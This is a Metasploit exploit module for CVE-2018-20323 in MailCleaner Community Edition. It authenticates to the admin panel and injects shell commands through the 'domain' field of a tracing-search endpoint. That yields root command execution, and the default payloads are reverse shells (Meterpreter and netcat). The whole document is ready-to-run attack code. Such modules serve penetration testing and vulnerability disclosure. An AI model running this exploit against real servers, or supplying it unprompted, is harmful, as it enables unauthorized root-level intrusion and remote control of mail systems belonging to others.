Mailcleaner Remote Code Execution

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "Mailcleaner Remote Code Execution",  
'Description' => %q{  
This module exploits the command injection vulnerability of MailCleaner Community Edition product. An authenticated user can execute an  
operating system command under the context of the web server user which is root.  
  
/admin/managetracing/search/search endpoint takes several user inputs and then pass them to the internal service which is responsible for executing  
operating system command. One of the user input is being passed to the service without proper validation. That cause a command injection vulnerability.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Mehmet Ince <[email protected]>' # author & msf module  
],  
'References' =>  
[  
['URL', 'https://pentest.blog/advisory-mailcleaner-community-edition-remote-code-execution/'],  
['CVE', '2018-20323']  
],  
'DefaultOptions' =>  
{  
'SSL' => true,  
'WfsDelay' => 5,  
},  
'Platform' => ['python', 'unix'],  
'Arch' => [ ARCH_PYTHON, ARCH_CMD ],  
'Targets' =>  
[  
['Python payload',  
{  
'Platform' => 'python',  
'Arch' => ARCH_PYTHON,  
'DefaultOptions' => {'PAYLOAD' => 'python/meterpreter/reverse_tcp'}  
}  
],  
['Command payload',  
{  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Payload' => {'BadChars' => "\x26"},  
'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_netcat'}  
}  
]  
],  
'Privileged' => false,  
'DisclosureDate' => "Dec 19 2018",  
'DefaultTarget' => 0  
))  
  
register_options(  
[  
Opt::RPORT(443),  
OptString.new('TARGETURI', [true, 'The URI of the vulnerable instance', '/']),  
OptString.new('USERNAME', [true, 'The username to login as']),  
OptString.new('PASSWORD', [true, 'The password to login with'])  
]  
)  
end  
  
def username  
datastore['USERNAME']  
end  
  
def password  
datastore['PASSWORD']  
end  
  
def auth  
print_status('Performing authentication...')  
  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'admin/')  
})  
  
if res && !res.get_cookies.empty?  
cookie = res.get_cookies  
else  
fail_with(Failure::UnexpectedReply, 'Did not get cookie-set header from response.')  
end  
  
# Performing authentication  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'admin/'),  
'cookie' => cookie,  
'vars_post' => {  
'username' => username,  
'password' => password,  
'submit' => 'Log+in'  
}  
})  
  
if res && res.code == 302  
print_good("Awesome..! Authenticated with #{username}:#{password}")  
else  
fail_with(Failure::NoAccess, 'Credentials are not valid.')  
end  
  
cookie  
end  
  
def exploit  
cookie = auth  
  
if cookie.nil?  
fail_with(Failure::Unknown, 'Something went wrong!')  
end  
  
print_status('Exploiting command injection flaw')  
  
if target['Arch'] == ARCH_PYTHON  
cmd = "';$(python -c \"#{payload.encoded}\");#"  
else  
cmd = "';#{payload.encoded};#"  
end  
  
send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'admin', 'managetracing', 'search', 'search'),  
'cookie' => cookie,  
'vars_post' => {  
'search' => rand_text_alpha(5),  
'domain' => cmd,  
'submit' => 1  
}  
})  
  
end  
end  
`